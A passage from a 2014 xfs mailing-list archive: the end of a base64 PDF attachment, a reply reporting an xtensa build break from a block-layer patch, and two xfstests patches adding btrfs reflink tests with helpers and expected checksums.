AADA19NbTadcFBYKXkUXeeg6sadQ73rvSy+/cQAAgNfTe02juFH86jefh8/XXY3blJXU/+PVNw0A APBb/BUnUy4K4xVI2VvF3dj9KBDF8il3CwAAcId4w0mUN4qNknfRXRglldJKKQAAwD9Drzmd8k55 UParylV19WL8p2sKM60AAAD8Q/Si0ynvlLvSKf0duqworFqqgtc1AADwr9LLTqc8y/+U69fei3S1 oKzpd9QHtQQAAPDv0ftO89/q3Wd8Z3vp29F8qe21lAfvtAAAAPDv8lefwerf/dSSKLxNOVAnJ1rL tFKoVg4AAPCP81efmdZGWquUPkdnDbQ00FKmFQAAgD9AL0ADLU20mJVw9c/kLtERjeKZVkdaAwAA +CP0EjTR4mzz32rW2IKGJj32qe0JWl34TxOZlgAAAP4UvQplWlnTzL5hZPXWFXTc2n/rfVoFAAD4 a/Q2lHgYi3vKuoZ/QGcsaWRBAwAAAH+UXopC7WPp2PUXtzKoPfs0uqABAACAP0wvRqb28eHdzzy0 t1xw+d+3xrsaAABA1f9hmXf+0ftXiyttaRkAAABu/Dc4LRAvYuZmcXwtZj4CAACAiV6WZGzv/Hco 7X2sHru5KgAAAA7ptamo9fBCpYmYfVT896r5Ce1CkTc+BwAAgDP15Sk+678t2uvM/smbfcxS4mP1 tFYEH1CkGgAAAFf4G1RlXYTTwp7NlO/zdDrbjgUAAMCP6a0q7L50yZTlNubz3xBXAQAAwDP0ajWY UrXlb9+wt7W783+KAQAA4K+b39D2+XStoliwKQAAALyA/VMxvXP9lE4CAADAqz387qZ9AAAA+HXl VSze3bwsf7yyv/b/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4 xP/+9/9UzD0FCmVuZHN0cmVhbQplbmRvYmoKMyAwIG9iago8PC9MZW5ndGggNjcvRmlsdGVyL0Zs YXRlRGVjb2RlPj5zdHJlYW0KeJwr5CpUMLU0VTAAQgsTQz0TEEvP2MDQxEghOVdBPzM33UDBJV8h kCuQq5DLKYTL2EzBwsBMISSFyzUEKAYAu7kNrgplbmRzdHJlYW0KZW5kb2JqCjUgMCBvYmoKPDwv VHlwZS9QYWdlL01lZGlhQm94WzAgMCA1OTUgODQyXS9SZXNvdXJjZXM8PC9Qcm9jU2V0IFsvUERG IC9UZXh0IC9JbWFnZUIgL0ltYWdlQyAvSW1hZ2VJXS9YT2JqZWN0PDwvaW1nMCAyIDAgUj4+Pj4v Q29udGVudHMgMyAwIFIvUGFyZW50IDQgMCBSPj4KZW5kb2JqCjQgMCBvYmoKPDwvVHlwZS9QYWdl cy9Db3VudCAxL0tpZHNbNSAwIFJdL0lUWFQoNS4xLjMpPj4KZW5kb2JqCjYgMCBvYmoKPDwvVHlw ZS9DYXRhbG9nL1BhZ2VzIDQgMCBSPj4KZW5kb2JqCjcgMCBvYmoKPDwvUHJvZHVjZXIoY29udmVy dGZpbGVvbmxpbmUuY29tKS9DcmVhdGlvbkRhdGUoRDoyMDE0MDExNjEzMzk0NSswMScwMCcpL01v ZERhdGUoRDoyMDE0MDExNjEzMzk0NSswMScwMCcpPj4KZW5kb2JqCnhyZWYKMCA4CjAwMDAwMDAw MDAgNjU1MzUgZiAKMDAwMDAwMDAxNSAwMDAwMCBuIAowMDAwMDAyNzAzIDAwMDAwIG4gCjAwMDAx NzU1MzAgMDAwMDAgbiAKMDAwMDE3NTgyNSAwMDAwMCBuIAowMDAwMTc1NjYzIDAwMDAwIG4gCjAw MDAxNzU4ODggMDAwMDAgbiAKMDAwMDE3NTkzMyAwMDAwMCBuIAp0cmFpbGVyCjw8L1NpemUgOC9S b290IDYgMCBSL0luZm8gNyAwIFIvSUQgWzw1NDRjZjIxMmU2M2EwODg0NDE2ZTI1OGI0NTliYjIz Mz48NDQ5NWY3NGEwY2M1MDQzMGUzNTQ0YTZiMzBlYzA2OTk+XT4+CnN0YXJ0eHJlZgoxNzYwNTYK JSVFT0YK ------=_NextPart_000_16A3_01CF131F.F5CDC190-- From geert.uytterhoeven@gmail.com Fri Jan 17 02:00:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.9 required=5.0 tests=FREEMAIL_FROM,SINGLE_HEADER_3K, T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 26C677F5E for ; Fri, 17 Jan 2014 02:00:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 11C11304087 for ; Fri, 17 Jan 2014 00:00:28 -0800 (PST) X-ASG-Debug-ID: 1389945614-04cb6c537be32cd0001-NocioJ Received: from mail-pa0-f43.google.com (mail-pa0-f43.google.com [209.85.220.43]) by cuda.sgi.com with ESMTP id FFtYPMPMLrBoLLOk (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 17 Jan 2014 00:00:14 -0800 (PST) X-Barracuda-Envelope-From: geert.uytterhoeven@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.43 Received: by mail-pa0-f43.google.com with SMTP id rd3so3821312pab.2 for ; Fri, 17 Jan 2014 00:00:14 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=3y9mvAzYsOXU3aFh1uaXNdXJ5DG8ka+oOQ6EPbzEuFk=; b=PRLvF3cU8dCTgCQVww+NI2CAcWt4nQqc8nTQ75b5Bm7KbtZsqFbMNEKa0H9kaXI9pC K3i1r8QtuGzZmx7tXC9Ba6eC2kE7u+AZg6qcG9JKr24n+1Bb4qkE9sQKYkO09OIw9eER m+s2OXVFmJN+Td2b2CPJglVtTyCaU+c+NddCg4vnwiPIRm9f/+WcDRMVqzW2PjehVZVc esDfuYnk1V4mcA/d9tAU1j+6ksSe4N+2DybJIAZOmVoZd4di2+uu6U3aedvP0lwK/rrs LYahNnauoGYbQB+6mx805RDAFN6h8DckyT18lLbOMW3vU4IVpqZN2HMaxhP8lHWj7FlS NPeg== X-Barracuda-BBL-IP: nil MIME-Version: 1.0 X-Received: by 10.68.254.230 with SMTP id al6mr564516pbd.3.1389945613911; Fri, 17 Jan 2014 00:00:13 -0800 (PST) Sender: geert.uytterhoeven@gmail.com Received: by 10.70.53.138 with HTTP; Fri, 17 Jan 2014 00:00:13 -0800 (PST) In-Reply-To: <1385513128-5035-4-git-send-email-kmo@daterainc.com> References: <20131127004422.GB21305@kmo> <1385513128-5035-1-git-send-email-kmo@daterainc.com> <1385513128-5035-4-git-send-email-kmo@daterainc.com> Date: Fri, 17 Jan 2014 09:00:13 +0100 X-Google-Sender-Auth: uyD4XAq5iEhwQy9T1pibQEu1qZw Message-ID: Subject: Re: [PATCH 04/25] block: Abstract out bvec iterator From: Geert Uytterhoeven X-ASG-Orig-Subj: Re: [PATCH 04/25] block: Abstract out bvec iterator To: Kent Overstreet Cc: "linux-kernel@vger.kernel.org" , Linux FS Devel , Christoph Hellwig , Jens Axboe , Benjamin Herrenschmidt , Paul Mackerras , "Ed L. Cashin" , Nick Piggin , Lars Ellenberg , Jiri Kosina , Matthew Wilcox , Geoff Levand , Yehuda Sadeh , Sage Weil , Alex Elder , ceph-devel@vger.kernel.org, Joshua Morris , Philip Kelleher , Rusty Russell , "Michael S. Tsirkin" , Konrad Rzeszutek Wilk , Jeremy Fitzhardinge , Neil Brown , Alasdair Kergon , Mike Snitzer , dm-devel@redhat.com, Martin Schwidefsky , Heiko Carstens , linux390@de.ibm.com, Boaz Harrosh , Benny Halevy , "James E.J. Bottomley" , Greg Kroah-Hartman , "Nicholas A. Bellinger" , Alexander Viro , Chris Mason , "Theodore Ts'o" , Andreas Dilger , Jaegeuk Kim , Steven Whitehouse , Dave Kleikamp , Joern Engel , Prasad Joshi , Trond Myklebust , KONISHI Ryusuke , Mark Fasheh , Joel Becker , Ben Myers , xfs@oss.sgi.com, Steven Rostedt , Frederic Weisbecker , Ingo Molnar , Len Brown , Pavel Machek , "Rafael J. Wysocki" , Herton Ronaldo Krzesinski , Ben Hutchings , Andrew Morton , Guo Chao , Tejun Heo , Asai Thambi S P , Selvan Mani , Sam Bradshaw , Wei Yongjun , =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= , Jan Beulich , Stefano Stabellini , Ian Campbell , Sebastian Ott , Christian Borntraeger , Minchan Kim , Jiang Liu , Nitin Gupta , Jerome Marchand , Joe Perches , Peng Tao , Andy Adamson , fanchaoting , Jie Liu , Sunil Mushran , "Martin K. Petersen" , Namjae Jeon , Pankaj Kumar , Dan Magenheimer , Mel Gorman Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-pa0-f43.google.com[209.85.220.43] X-Barracuda-Start-Time: 1389945614 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144172 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Nov 27, 2013 at 1:45 AM, Kent Overstreet wrote: > Immutable biovecs are going to require an explicit iterator. To > implement immutable bvecs, a later patch is going to add a bi_bvec_done > member to this struct; for now, this patch effectively just renames > things. You missed xtensa simdisk: arch/xtensa/platforms/iss/simdisk.c:108:23: error: 'struct bio' has no member named 'bi_sector' http://kisskb.ellerman.id.au/kisskb/buildresult/10477507/ Gr{oetje,eeting}s, Geert -- Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org In personal conversations with technical people, I call myself a hacker. But when I'm talking to journalists I just say "programmer" or something like that. -- Linus Torvalds From koen.de.wit@oracle.com Fri Jan 17 03:37:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 04C397F3F for ; Fri, 17 Jan 2014 03:37:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 71FBBAC004 for ; Fri, 17 Jan 2014 01:37:21 -0800 (PST) X-ASG-Debug-ID: 1389951439-04cb6c537ee35530001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id yaw7AbtJcN6TkAwb (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 01:37:19 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0H9bINt003713 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jan 2014 09:37:19 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s0H9bIro008897 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Fri, 17 Jan 2014 09:37:18 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0H9bHLm012186; Fri, 17 Jan 2014 09:37:17 GMT Received: from koen-obi.uk.oracle.com (/10.175.35.51) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 17 Jan 2014 01:37:17 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit , Eric Sandeen Subject: [PATCH RESEND] xfstests: btrfs/027: simple sparse copy testcase for btrfs Date: Fri, 17 Jan 2014 10:36:49 +0100 X-ASG-Orig-Subj: [PATCH RESEND] xfstests: btrfs/027: simple sparse copy testcase for btrfs Message-Id: <1389951409-26029-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1389951439 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144174 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Tests file clone functionality of btrfs ("reflinks"): - Reflink a file - Reflink the reflinked file - Modify the original file - Modify the reflinked file [sandeen: add helpers, make several mostly-cosmetic changes to the original testcase] Signed-off-by: Koen De Wit Signed-off-by: Eric Sandeen --- Originally submitted as test 297, btrfs/308 diff --git a/common/rc b/common/rc index a585eb5..4157cc4 100644 --- a/common/rc +++ b/common/rc @@ -2078,6 +2078,27 @@ _require_ugid_map() fi } +_require_cp_reflink() +{ + cp --help | grep -q reflink || \ + _notrun "This test requires a cp with --reflink support." +} + +# Given 2 files, verify that they have the same mapping but different +# inodes - i.e. an undisturbed reflink +# Silent if so, make noise if not +_verify_reflink() +{ + # not a hard link or symlink? + cmp -s <(stat -c '%i' $1) <(stat -c '%i' $2) \ + && echo "$1 and $2 are not reflinks: same inode number" + + # same mapping? + diff -u <($XFS_IO_PROG -c "fiemap" $1 | grep -v $1) \ + <($XFS_IO_PROG -c "fiemap" $2 | grep -v $2) \ + || echo "$1 and $2 are not reflinks: different extents" +} + _create_loop_device() { file=$1 diff --git a/tests/btrfs/027 b/tests/btrfs/027 new file mode 100644 index 0000000..ec0d5b4 --- /dev/null +++ b/tests/btrfs/027 @@ -0,0 +1,90 @@ +#! /bin/bash +# FS QA Test No. 027 +# +# Tests file clone functionality of btrfs ("reflinks"): +# - Reflink a file +# - Reflink the reflinked file +# - Modify the original file +# - Modify the reflinked file +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. common/rc +. common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_xfs_io_fiemap +_require_cp_reflink + +TESTDIR1=$TEST_DIR/test-$seq +rm -rf $TESTDIR1 +mkdir $TESTDIR1 + +_checksum_files() { + for F in original copy1 copy2 + do + md5sum $TESTDIR1/$F | _filter_test_dir + done +} + +rm -f $seqres.full + +echo "Create the original file and reflink to copy1, copy2" +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $TESTDIR1/original \ + >> $seqres.full 2>&1 +cp --reflink $TESTDIR1/original $TESTDIR1/copy1 +cp --reflink $TESTDIR1/copy1 $TESTDIR1/copy2 +_verify_reflink $TESTDIR1/original $TESTDIR1/copy1 +_verify_reflink $TESTDIR1/original $TESTDIR1/copy2 +echo "Original md5sums:" +_checksum_files + +echo "Overwrite original file with new data" +$XFS_IO_PROG -c 'pwrite -S 0x62 0 9000' $TESTDIR1/original \ + >> $seqres.full 2>&1 +echo "md5sums after overwriting original:" +_checksum_files + +echo "Overwrite copy1 with different new data" +$XFS_IO_PROG -c 'pwrite -S 0x63 0 9000' $TESTDIR1/copy1 \ + >> $seqres.full 2>&1 +echo "md5sums after overwriting copy1:" +_checksum_files + +# success, all done +status=0 +exit diff --git a/tests/btrfs/027.out b/tests/btrfs/027.out new file mode 100644 index 0000000..13023bf --- /dev/null +++ b/tests/btrfs/027.out @@ -0,0 +1,16 @@ +QA output created by 027 +Create the original file and reflink to copy1, copy2 +Original md5sums: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/original +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy1 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy2 +Overwrite original file with new data +md5sums after overwriting original: +4a847a25439532bf48b68c9e9536ed5b TEST_DIR/test-027/original +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy1 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy2 +Overwrite copy1 with different new data +md5sums after overwriting copy1: +4a847a25439532bf48b68c9e9536ed5b TEST_DIR/test-027/original +e271cd47d9f62ebc96cb4e67ae4d16db TEST_DIR/test-027/copy1 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy2 diff --git a/tests/btrfs/group b/tests/btrfs/group index 87e7bca..379f95b 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -27,3 +27,4 @@ 022 auto 023 auto 024 auto quick +027 auto quick -- 1.7.1 From koen.de.wit@oracle.com Fri Jan 17 04:10:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 444727F5E for ; Fri, 17 Jan 2014 04:10:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1F1D1304087 for ; Fri, 17 Jan 2014 02:09:59 -0800 (PST) X-ASG-Debug-ID: 1389953394-04cb6c537be36840001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 4tQTan2IpQeny5Zn (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 02:09:54 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0HA9rxx006591 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jan 2014 10:09:53 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0HA9qFl023703 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jan 2014 10:09:52 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0HA9pC0027730; Fri, 17 Jan 2014 10:09:51 GMT Received: from koen-obi.uk.oracle.com (/10.175.35.51) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 17 Jan 2014 02:09:51 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit , Eric Sandeen Subject: [PATCH RESEND] xfstests: btrfs/028: sparse copy of a directory tree on btrfs Date: Fri, 17 Jan 2014 11:09:45 +0100 X-ASG-Orig-Subj: [PATCH RESEND] xfstests: btrfs/028: sparse copy of a directory tree on btrfs Message-Id: <1389953385-26559-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1389953394 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144175 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Tests file clone functionality of btrfs ("reflinks") on directory trees. - Create directory and subdirectory, each having one file - Create 2 recursive reflinked copies of the tree - Modify the original files - Modify one of the copies [sandeen: mostly cosmetic changes] Signed-off-by: Koen De Wit Signed-off-by: Eric Sandeen --- Originally submitted as test 298, btrfs/309 The functions _require_cp_reflink() and _verify_reflink() in common/rc have been submitted with btrfs/027 diff --git a/tests/btrfs/028 b/tests/btrfs/028 new file mode 100644 index 0000000..a034008 --- /dev/null +++ b/tests/btrfs/028 @@ -0,0 +1,107 @@ +#! /bin/bash +# FS QA Test No. 028 +# +# Tests file clone functionality of btrfs ("reflinks") on directory +# trees. +# - Create directory and subdirectory, each having one file +# - Create 2 recursive reflinked copies of the tree +# - Modify the original files +# - Modify one of the copies +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. common/rc +. common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_xfs_io_fiemap +_require_cp_reflink + +TESTDIR1=$TEST_DIR/test-$seq +rm -rf $TESTDIR1 +mkdir $TESTDIR1 + +_checksum_files() { + for F in original/file1 original/subdir/file2 \ + copy1/file1 copy1/subdir/file2 \ + copy2/file1 copy2/subdir/file2 + do + md5sum $TESTDIR1/$F | _filter_test_dir + done +} + +rm -f $seqres.full + +mkdir $TESTDIR1/original +mkdir $TESTDIR1/original/subdir + +echo "Create the original files and reflink dirs" +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $TESTDIR1/original/file1 \ + >> $seqres.full 2>&1 +$XFS_IO_PROG -f -c 'pwrite -S 0x62 0 11000' \ + $TESTDIR1/original/subdir/file2 >> $seqres.full 2>&1 +cp --recursive --reflink $TESTDIR1/original $TESTDIR1/copy1 +cp --recursive --reflink $TESTDIR1/copy1 $TESTDIR1/copy2 + +_verify_reflink $TESTDIR1/original/file1 $TESTDIR1/copy1/file1 +_verify_reflink $TESTDIR1/original/subdir/file2 \ + $TESTDIR1/copy1/subdir/file2 +_verify_reflink $TESTDIR1/original/file1 $TESTDIR1/copy2/file1 +_verify_reflink $TESTDIR1/original/subdir/file2 \ + $TESTDIR1/copy2/subdir/file2 + +echo "Original md5sums:" +_checksum_files + +echo "Overwrite original/file1 and original/subdir/file2 with new data" +$XFS_IO_PROG -c 'pwrite -S 0x63 0 13000' $TESTDIR1/original/file1 \ + >> $seqres.full 2>&1 +$XFS_IO_PROG -c 'pwrite -S 0x64 5000 1000' \ + $TESTDIR1/original/subdir/file2 >> $seqres.full 2>&1 +echo "md5sums now:" +_checksum_files + +echo "Overwrite copy1/file1 and copy1/subdir/file2 with new data" +$XFS_IO_PROG -c 'pwrite -S 0x65 0 9000' $TESTDIR1/copy1/file1 \ + >> $seqres.full 2>&1 +$XFS_IO_PROG -c 'pwrite -S 0x66 5000 25000' \ + $TESTDIR1/copy1/subdir/file2 >> $seqres.full 2>&1 +echo "md5sums now:" +_checksum_files + +# success, all done +status=0 +exit diff --git a/tests/btrfs/028.out b/tests/btrfs/028.out new file mode 100644 index 0000000..bd078db --- /dev/null +++ b/tests/btrfs/028.out @@ -0,0 +1,25 @@ +QA output created by 028 +Create the original files and reflink dirs +Original md5sums: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-028/original/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-028/original/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-028/copy1/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-028/copy1/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-028/copy2/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-028/copy2/subdir/file2 +Overwrite original/file1 and original/subdir/file2 with new data +md5sums now: +260f6785c0537fd12582dcae28a3c1a9 TEST_DIR/test-028/original/file1 +b8d91fb600f6f2191f2ba66665374860 TEST_DIR/test-028/original/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-028/copy1/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-028/copy1/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-028/copy2/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-028/copy2/subdir/file2 +Overwrite copy1/file1 and copy1/subdir/file2 with new data +md5sums now: +260f6785c0537fd12582dcae28a3c1a9 TEST_DIR/test-028/original/file1 +b8d91fb600f6f2191f2ba66665374860 TEST_DIR/test-028/original/subdir/file2 +b20229a003e3985c4b0e6806abcd6642 TEST_DIR/test-028/copy1/file1 +b815b24069db14e0a3a07169fd563e93 TEST_DIR/test-028/copy1/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-028/copy2/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-028/copy2/subdir/file2 diff --git a/tests/btrfs/group b/tests/btrfs/group index 87e7bca..372585d 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -27,3 +27,4 @@ 022 auto 023 auto 024 auto quick +028 auto quick -- 1.7.1 From koen.de.wit@oracle.com Fri Jan 17 04:41:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 504957F5F for ; Fri, 17 Jan 2014 04:41:59 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BF6ECAC003 for ; Fri, 17 Jan 2014 02:41:58 -0800 (PST) X-ASG-Debug-ID: 1389955317-04cb6c537be38000001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id XzmSpeSROrdZ8SZE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 02:41:57 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com 